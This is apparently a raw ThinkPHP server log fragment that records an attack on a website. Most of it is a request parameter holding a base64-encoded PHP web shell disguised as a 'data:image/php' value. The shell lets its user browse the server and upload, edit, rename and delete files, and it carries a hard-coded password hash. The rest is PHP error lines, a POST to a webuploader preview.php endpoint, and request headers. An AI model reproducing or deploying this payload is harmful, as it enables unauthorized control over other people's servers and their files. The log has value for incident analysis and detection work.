'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:24+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/admin/webuploader/0.1.5/server/preview.php [运行时间:0.002845s] [吞吐率:351.49req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 